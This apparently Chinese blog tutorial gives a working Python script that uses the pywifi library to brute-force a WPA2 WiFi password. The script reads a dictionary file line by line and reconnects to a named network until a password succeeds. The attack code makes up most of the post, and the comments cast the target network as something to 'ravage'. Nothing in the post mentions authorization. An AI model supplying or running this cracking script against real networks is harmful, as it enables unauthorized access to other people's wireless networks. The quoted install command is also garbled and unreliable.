网站首页 > 技术文章 正文

俗话说“小时偷针,大时偷鸡”,来告诉我们从小要养成良好的行为习惯。但是自从走上程序员这条路以后,学习变得枯燥,明明很有时间,“却变得没有时间了”,总之学习效率特别低效。闲话少说,下面开始详细介绍Python穷举WIFI密码过程
私信小编01即可获取大量Python学习资源

工欲善其事必先利其器:
Python提供了一个非常有用的包来获取网络端口并与之交流(这个词自我感觉比较贴切一点),所以首先我们先安装pywifi这个包
一开始我用常规安装命令,install pip pywifi,出现报错。因为这个包不能用pip直接下载了(怕坏人学这个干坏事。。。自己脑补)自己去官网下载即可

import pywifi
import time
from pywifi import const
def wifi_connnect(pwd):
wifi = pywifi.PyWiFi()
#拿到第一个
inter = wifi.interfaces()[0]
#先断开连接!!!!不断就没得搞手,先断开,才可以连接其他的WIFI
inter.disconnect()
#休眠3秒
time.sleep(3)
#如果是没连接的状态下
if inter.status() == const.IFACE_DISCONNECTED:
#注意是大写Pro
f = pywifi.Profile()
#设置好想要蹂躏的id
f.ssid = "bdj"
#密码用字典
f.key = pwd
#网卡的开放
f.auth = const.AUTH_ALG_OPEN
#加密单元
f.cipher = const.CIPHER_TYPE_CCMP
#加密算法的类型
f.akm.append(const.AKM_TYPE_WPA2PSK)
#删除之前的wifi文件
inter.remove_all_network_profiles()
#设置新的连接文件
temp_p = inter.add_network_profile(f)
#去连接它
inter.connect(temp_p)
time.sleep(3)
#连接成功直接return
if inter.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("connected")
def readtxt():
#这里填自己字典的绝对路径
path = "D:\填绝对路径"
#打开文件,设置为read模式
file = open(path, "r")
#死循环
while True:
#pwd 为读取到的每一行
pwd = file.readline()
# print(pwd)
#如果连接上了,wifi_connect会return True 那么直接break吊while循环
res = wifi_connnect(pwd)
if res:
print("password is correct", pwd)
break
else:
print("password is error", pwd)
#调用函数
readtxt()
猜你喜欢
- 2024-12-24 XML处理神器:Python类库让你轻松实现复杂XML操作和数据修改
- 2024-12-24 使用python实现九九乘法口诀表,使用这个语法,只需一行代码
- 2024-12-24 Python PyInstaller安装和使用教程
- 2024-12-24 pyinstaller,一个超酷的 Python 库!
- 2024-12-24 Python中Pyinstaller库的安装方法(全)
- 2024-12-24 Python音频处理的新选择:深入探索PyAudioMixer库
- 2024-12-24 PyUSB——使用Python链接USB设备
- 2024-12-24 Python+MySQL数据库操作(PyMySQL)
- 2024-12-24 Python 简单实现贪吃蛇小游戏
- 2024-12-24 不要钱,用Python识别图片中的文字
- 05-25Python 3.14 t-string 要来了,它与 f-string 有何不同?
- 05-25Python基础元素语法总结
- 05-25Python中的变量是什么东西?
- 05-25新手常见的python报错及解决方案
- 05-2511-Python变量
- 05-2510个每个人都是需要知道Python问题
- 05-25Python编程:轻松掌握函数定义、类型及其参数传递方式
- 05-25Python基础语法
- 257℃Python短文,Python中的嵌套条件语句(六)
- 257℃python笔记:for循环嵌套。end=""的作用,图形打印
- 256℃PythonNet:实现Python与.Net代码相互调用!
- 251℃Python操作Sqlserver数据库(多库同时异步执行:增删改查)
- 251℃Python实现字符串小写转大写并写入文件
- 106℃原来2025是完美的平方年,一起探索六种平方的算吧
- 90℃Python 和 JavaScript 终于联姻了!PythonMonkey 要火?
- 81℃Ollama v0.4.5-v0.4.7 更新集合:Ollama Python 库改进、新模型支持
- 最近发表
- 标签列表
-
- python中类 (31)
- python 迭代 (34)
- python 小写 (35)
- python怎么输出 (33)
- python 日志 (35)
- python语音 (31)
- python 工程师 (34)
- python3 安装 (31)
- python音乐 (31)
- 安卓 python (32)
- python 小游戏 (32)
- python 安卓 (31)
- python聚类 (34)
- python向量 (31)
- python大全 (31)
- python次方 (33)
- python桌面 (32)
- python总结 (34)
- python浏览器 (32)
- python 请求 (32)
- python 前端 (32)
- python验证码 (33)
- python 题目 (32)
- python 文件写 (33)
- python中的用法 (32)